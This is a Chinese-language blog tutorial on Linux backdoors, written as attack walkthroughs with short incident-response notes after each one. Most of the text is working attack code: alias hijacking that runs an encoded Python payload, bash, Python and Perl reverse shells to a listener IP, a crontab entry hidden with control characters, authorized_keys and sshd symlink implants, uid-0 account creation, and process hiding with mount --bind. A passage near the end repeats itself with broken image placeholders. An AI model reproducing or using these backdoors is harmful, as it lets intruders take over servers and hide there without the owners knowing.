linux后门教程

linux后门教程

alias

用法

系统默认别名: alias

设置别名alias ls='ls -laih'

删除别名: unalias ls

**加参数:**alias ls='ls -laih;pwd'

注意

系统启动默认加载的配置文件

  • /etc/profile

切换用户就会执行/etc/profile

  • /etc/bashrc

bash shell

  • ~/.bashrc

每次打开新的shell时该文件都将被读取

  • ~/.bash_logout

每次退出系统(退出bash shell)时执行该文件

后门

  • 命令

    alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'''UTF-8''')}sys.version_info[0]))";};alerts'

    alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $;else echo "-bash: unalias: ${}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

    alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.lambda./ls --color=auto'''/";};alerts'

base64解码内容

执行ls,反弹shell到kali监听的6666端口

目标机器可以看到连接的信息,需要关闭攻击机的ssh,目标机器才会执行在攻击机上的命令

劫持了命令alias,查看显示ls='ls --color=auto'

  • 后门隐藏

找一个有迷惑性的目录,修改成类似文件名

插入到自启程序中~/.bashrc

#enable software update with apt
#See /etc/apt/source.d/ in the apt package.
if [ -f .pki/nss ]; then
    . .pki/nss
fi

stat直接能看出来,修改后门文件,与同目录文件时间相同

touch -acmr nssdb nss

kali用ssh连接执行ls,

反弹shell的监听反应

应急响应

异常连接netstat -anltp

查看异常pid: ps aux | grep 2019

ppid为1: cat /proc/2019/status

PPID是进程父进程的PID,通常是主要进程

unalias删除后,每次登录都会触发

stat检查时间修改,查找主要进程

找到最近时间修改/etc/profile/etc/bashrc~/.bashrc~/.bash_logout

alias 后门文件删掉即可

crontab

shell文件准备

1.sh

#!/bin/bash
bash -i >& /dev/tcp/192.168.20.128/5555 0>&1
#反弹shell到IP地址:192.168.20.128

2.sh

(crontab -l;printf "* * * * * /home/w_w/1.sh;\rno crontw_wab for `whoami`%100c\n")|crontab -
#建立crontab隐藏后门

可执行chmod +x

执行恶意文件2.sh

kali监听

应急响应

netstat -anlpt

查看异常连接PID,bash进程

看bash的父进程,父进程是1151

ps aux | grep 1151

cat /proc/1151/status

ps aux | grep 1149

/usr/sbin/CROND -n 跟网站定时任务有关

定时任务文件位置: /var/spool/cron

catcrontab -l没看到

使用cat -A 可以显示或vim

  • -A:表示显示所有非打印字符

删掉1.sh即可

ssh公钥免密

CRT生成公钥与私钥

RSA,连接服务器需要设置密码

密钥长度1024

公钥写入

传输到web站点通过wget下载

authorized_keys时通过ssh-keygen -t rsa生成密钥,开启免密登录

创建文件touch /root/.ssh/authorized_keys

将公钥追加到authorized_keys

cat Identity.pub >> /root/.ssh/authorized_keys

赋予执行权限

chmod 600 /root/.ssh/authorized_keys

登录

新建连接,选择Properties,选择公钥文件,连接

应急响应

netstat -anlpt

与负责人沟通确定该IP正常情况不能登录服务器

无异常,正常ssh登录,看authorized_keys是否被覆盖

未知用户公钥

看篡改时间,确定是最近篡改的

删除公钥

kill -9 进程

ssh软链接

创建

root用户

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345 #ssh软链接
systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上

此处密码随意

普通用户

echo "

#%PAM-1.0

auth sufficient pam_rootok.so

auth include system-auth

account include system-auth

password include system-auth

session include system-auth " >> /etc/pam.d/wxg

ln -sf /usr/sbin/sshd /tmp/普通用户;/tmp/普通用户 -oPort=14725

systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上

应急响应

查找su文件,找具体软链接后门

删文件杀进程

增加超级用户账号

第一种情况:可以交互且允许uid=0的用户远程登录

echo "xiao:X:0:0::/:/bin/sh" >> /etc/passwd

  • xiao 是用户名。
  • x 表示密码信息存储在 /etc/shadow 中。
  • 0 是用户 ID,表示该用户是系统中的超级用户或 root 用户。
  • 0 是组 ID,表示该用户属于 root 组。
  • :: 表示没有额外的用户 ID 信息。
  • / 是主目录,表示用户登录后默认工作目录为根目录。
  • /bin/sh 是登录 shell,表示用户登录后默认使用 Bourne shell。

第二种情况:可以交互且不允许uid=0的用户远程登录

只能由普通用户权限

echo "ming:x:1000:1000::/:/bin/sh" >> /etc/passwd

第三种情况:不交互无回显添加Linux密码

useradd hhhh -u 0 -o -g root|| echo "123456" | passwd --stdin hhhh

执行两次

  • useradd 是一个用于创建新用户的命令。
  • hhhh 是要创建的用户名。
  • -u 0 指定用户的 UID 为 0,即 root 用户的 UID。
  • -o 允许分配非唯一 UID。
  • -g root 将用户添加到 root 用户组。
  • passwd --stdin wxg 是用来为用户 wxg 设置密码的命令,其中 --stdin 选项表示从标准输入中读取密码。

应急响应

可以查看远程登录者信息

awk '/\$1|\$6/{print $1}' /etc/shadow

查看特权用户

awk -F: '$3==0 {print$1}' /etc/passwd
  • '$3==0' 是 awk 的模式部分,表示匹配第三个字段等于 0 的行。

  • $3 表示第三个字段 ==0 表示等于零

杀掉练级进程pid,删除非法用户 userdel -rf 强制删除

perl脚本SSH后门

SSH后门源码

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

让靶机从搭建的web服务去下载

将原来的sshd移动到/usr/bin

下载的ssh移动到/usr/sbin,并赋权

重启ssh服务:systemctl restart sshd.service

检测靶机开放端口

控制机:socat STDIO TCP4:192.168.20.137:22,sourceport=31334

应急响应

与管理员确认异常IP连接

正常sshd文件是ELF格式,后门文件是纯文本脚本,file就可以发现

vim+python文件后门-教程

ubuntu20.04的vim支持python3

反弹shell脚本

python 复制代码
import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.20.128", 6666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);

让靶机从搭建的web服务去下载

kali开启监听

靶机:vim -E -c "py3file shell.py"

空白说明反弹shell成功

kali

隐藏后门

netstat -anplt直接查到了,还会留空白窗口

命令启动时不显示该窗口

(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)

#将nohup的执行结果输出到/dev/null中

#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。

#"2"在linux中代表错误输出,"1"在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。

隐藏可疑连接

(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &) && sleep 2 && rm -f shell.py

隐藏命令:

mkdir null
mount --bind null /proc/6238
netstat -anpt
#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。

应急响应

看到有不正常连接,猜测被挂载了

cat /proc/$$/mountinfo

umount /proc/3132取消挂载

kill -9 pid

杀掉进程

SSH Wrapper后门

&) && sleep 2 && rm -f shell.py

**隐藏命令:**

mkdir null

mount --bind null /proc/6238

netstat -anpt

#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。

[外链图片转存中...(img-M3MftaKZ-1721128228618)]

### 应急响应

看到有不正常连接,猜测被挂载了

`cat /proc/$$/mountinfo`

[外链图片转存中...(img-KzeHBYVX-1721128228618)]

`umount /proc/3132`取消挂载

[外链图片转存中...(img-pNA2fGtG-1721128228618)]

kill -9 pid

杀掉进程
相关推荐
pk_xz1234562 小时前
Shell 脚本中变量和字符串的入门介绍
linux·运维·服务器
小珑也要变强2 小时前
Linux之sed命令详解
linux·运维·服务器
Lary_Rock4 小时前
RK3576 LINUX RKNN SDK 测试
linux·运维·服务器
云飞云共享云桌面6 小时前
8位机械工程师如何共享一台图形工作站算力?
linux·服务器·网络
Peter_chq6 小时前
【操作系统】基于环形队列的生产消费模型
linux·c语言·开发语言·c++·后端
一坨阿亮7 小时前
Linux 使用中的问题
linux·运维
dsywws8 小时前
Linux学习笔记之vim入门
linux·笔记·学习
幺零九零零9 小时前
【C++】socket套接字编程
linux·服务器·网络·c++
小林熬夜学编程11 小时前
【Linux系统编程】第四十一弹---线程深度解析:从地址空间到多线程实践
linux·c语言·开发语言·c++·算法
程思扬11 小时前
为什么Uptime+Kuma本地部署与远程使用是网站监控新选择?
linux·服务器·网络·经验分享·后端·网络协议·1024程序员节